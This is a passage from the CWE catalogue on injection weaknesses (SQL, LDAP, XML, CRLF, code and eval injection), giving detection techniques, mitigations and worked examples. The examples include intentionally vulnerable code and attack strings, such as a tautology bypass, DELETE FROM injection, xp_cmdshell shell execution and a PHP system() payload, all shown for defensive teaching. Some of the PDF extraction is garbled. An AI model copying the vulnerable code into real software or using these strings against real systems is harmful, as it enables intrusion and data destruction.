This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

#### Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Database Scanners Cost effective for partial coverage: Web Application Scanner Web Services Scanner

*Effectiveness = High*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

#### **Phase: Architecture and Design**

*Strategy = Parameterization*

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

#### **Phase: Architecture and Design**

#### **Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they

cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS\_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the `mysql_real_escape_string()` API function is available in both C and PHP.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded. When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

**Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Phase: Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

**Phase: Operation**

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

**Phase: Operation****Phase: Implementation**

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Demonstrative Examples****Example 1:**

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.

**Example 2:**

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

Example Language: C#

(bad)

```
...string userName = ctx.getAuthenticatedUserName();string query = "SELECT * FROM items WHERE owner = " +
userName + " AND itemname = " + ItemName.Text + """;sda = new SqlDataAdapter(query, conn);DataTable dt = new
DataTable();sda.Fill(dt);...
```

The query that this code intends to execute follows:

Example Language:

(informative)

```
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

Example Language:

(attack)

```
name' OR 'a'='a
```

for itemName, then the query becomes the following:

Example Language:

(attack)

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the:

Example Language:

(attack)

```
OR 'a'='a
```

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

Example Language:

(attack)

```
SELECT * FROM items;
```

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

### Example 3:

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

Example Language:

(attack)

```
name'; DELETE FROM items; --
```

for itemName, then the query becomes the following two queries:

Example Language: SQL

(attack)

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';DELETE FROM items; --'
```

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

*Example Language:* *(attack)*

```
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a
```

Then the following three valid statements will be created:

*Example Language:* *(attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';DELETE FROM items;SELECT * FROM items WHERE 'a'='a';
```

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

Target fields that are not quoted Find ways to bypass the need for certain escaped meta-characters  
Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

*Example Language:* *(bad)*

```
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)is open itm_cv for' SELECT * FROM items WHERE ' || 'owner = ' || usr || ' AND itemname = ' || itm || ';end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

#### Example 4:

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

Example Language:

(bad)

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

Where \$user\_input is taken from an untrusted source.

If the user provides the string:

Example Language:

(attack)

```
'; exec master..xp_cmdshell 'dir' --
```

The query will take the following form:

Example Language:

(attack)

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY="'; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE
```

Now, this query can be broken down into:

a first SQL query: `SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=""`; a second SQL query, which executes the `dir` command in the shell: `exec master..xp_cmdshell 'dir'` and an MS SQL comment: `--' ORDER BY PRICE`

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

#### Example 5:

This code intends to print a message summary given the message ID.

Example Language: PHP

(bad)

```
$id = $_COOKIE["mid"];mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

The programmer may have skipped any input validation on \$id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While \$id is wrapped in single quotes in the call to `mysql_query()`, an attacker could simply change the incoming mid cookie to:

Example Language:

(attack)

```
1432' or '1' = '1
```

This would produce the resulting query:

Example Language:

(result)

```
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
```

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

Example Language: PHP

(good)

```
$id = intval($_COOKIE["mid"]);mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

**Example 6:**

This example attempts to take a last name provided by a user and enter it into a database.

Example Language: Perl

(bad)

```
$userKey = getUserID();$name = getUserInput(); # ensure only letters, hyphens and apostrophe are allowed $name =
whiteList($name, "^a-zA-z-'");$query = "INSERT INTO last_names VALUES('$userKey', '$name)";
```

While the programmer applies a whitelist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens which are used as comment structures in SQL. If a user specifies -- then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the whitelist permits the apostrophe which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

**Observed Examples**

Reference	Description
<b>CVE-2004-0366</b>	chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0366">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0366</a>

## CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID : 90

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1512

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1512

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	1658

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1512

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Database Server (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Read Application Data	
Availability	Modify Application Data	
<p><i>An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.</i></p>		

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Demonstrative Examples

#### Example 1:

The code below constructs an LDAP query using user input address data:

*Example Language: Java*

*(bad)*

```
context = new InitialDirContext(env);String searchFilter = "StreetAddress=" + address;NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtrls);
```

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

### Observed Examples

Reference	Description
<b>CVE-2005-2301</b>	Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2301">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2301</a>

### MemberOf Relationships

## CWE-91: XML Injection (aka Blind XPath Injection)

Weakness ID : 91

Status: Draft

Structure : Simple

Abstraction : Base

## Description

The software does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

## Extended Description

Within XML, special elements could include reserved words or characters such as "<", ">", "'", and "&", which could then be used to add new data or modify XML syntax.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	1559
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1565
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	1584
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1616
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1640
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1661

## Notes

### Maintenance

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.

### Theoretical

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

### Research Gap

Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

## CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

**Weakness ID** : 93  
**Structure** : Simple  
**Abstraction** : Base

**Status**: Draft

## Description

The software uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	129
ParentOf		113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	246
CanPrecede		117	Improper Output Neutralization for Logs	260

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

MemberOf		1019	Validate Inputs	1658

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	129

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

## Potential Mitigations

### Phase: Implementation

Avoid using CRLF as a special sequence.

### Phase: Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

## Demonstrative Examples

**Example 1:**

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

Example Language: Java

(bad)

```
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

## Observed Examples

Reference	Description
<b>CVE-2002-1771</b>	CRLF injection enables spam proxy (add mail headers) using email address or name. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1771">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1771</a>
<b>CVE-2002-1783</b>	CRLF injection in API function arguments modify headers for outgoing requests. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1783">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1783</a>
<b>CVE-2004-1513</b>	Spoofed entries in web server log file via carriage returns <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1513">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1513</a>
<b>CVE-2006-4624</b>	Chain: inject fake log entries with fake timestamps using CRLF injection <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4624">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4624</a>
<b>CVE-2005-1951</b>	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1951">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1951</a>
<b>CVE-2004-1687</b>	Chain: HTTP response splitting via CRLF in parameter related to URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1687">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1687</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	1559
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1640

## Notes

### Research Gap

Probably under-studied, although gaining more prominence in 2005 as a result of interest in HTTP response splitting.

## Taxonomy Mappings

## CWE-94: Improper Control of Generation of Code ('Code Injection')

**Weakness ID** : 94**Status**: Draft**Structure** : Simple**Abstraction** : Class

### Description

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

### Extended Description

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution. Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CanFollow		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	216

### Applicable Platforms

**Language** : Interpreted (*Prevalence = Sometimes*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Access Control	Gain Privileges or Assume Identity  <i>Injected code can access resources that the attacker is directly prevented from accessing.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</i>	
Non-Repudiation	Hide Activities  <i>Often the actions performed by injected control code are unlogged.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

#### Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent whitelists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as `system()`, `exec()`, or `exit()`.

### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

### Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Phase: Operation

*Strategy = Compilation or Build Hardening*

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

### Phase: Operation

*Strategy = Environment Hardening*

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

## Demonstrative Examples

### Example 1:

This example attempts to write user messages to a message file and allow users to view them.

*Example Language: PHP*

*(bad)*

```
$MessageFile = "cwe-94/messages.out";if ($_GET["action"] == "NewMessage") {$name = $_GET["name"];$message = $_GET["message"];$handle = fopen($MessageFile, "a+");fwrite($handle, "<b>$name</b> says '$message'<br>\n");fclose($handle);echo "Message Saved!<p>\n";}else if ($_GET["action"] == "ViewMessages") {include($MessageFile);}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

*Example Language:*

*(attack)*

```
name=h4x0rmessage=%3C?php%20system(%22/bin/l%20-l%22);?%3E
```

which will decode to the following:

Example Language:

(attack)

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

### Example 2:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Example Language: Perl

(bad)

```
use CGI qw(:standard); sub config_file_add_key { my ($fname, $key, $arg) = @_; # code to add a field/key to a file goes here } sub config_file_set_key { my ($fname, $key, $arg) = @_; # code to set key to a particular file goes here } sub config_file_delete_key { my ($fname, $key, $arg) = @_; # code to delete key from a particular file goes here } sub handleConfigAction { my ($fname, $action) = @_;my $key = param('key');my $val = param('val'); # this is super-efficient code, especially if you have to invoke # any one of dozens of different functions! my $code = "config_file_.$action_key(\ $fname, \$key, \$val);";eval($code); } $configfile = "/home/cwe/config.txt";print header;if (defined(param('action'))){handleConfigAction($configfile, param('action'));}else {print "No action specified!\n";}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config\_file\_add\_key(), config\_file\_set\_key(), or config\_file\_delete\_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add\_key(",",""); system("/bin/ls"); This would produce the following string in handleConfigAction(): config\_file\_add\_key(",",""); system("/bin/ls"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "\_key(\ \$fname, \\$key, \\$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

### Observed Examples

Reference	Description
<b>CVE-2008-5071</b>	Eval injection in PHP program. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5071">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5071</a>

## CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

**Weakness ID** : 95  
**Structure** : Simple  
**Abstraction** : Base

**Status**: Incomplete

### Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

### Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data <i>The injected code could access restricted data / files.</i>	
Access Control	Bypass Protection Mechanism	

Scope	Impact	Likelihood
	<i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
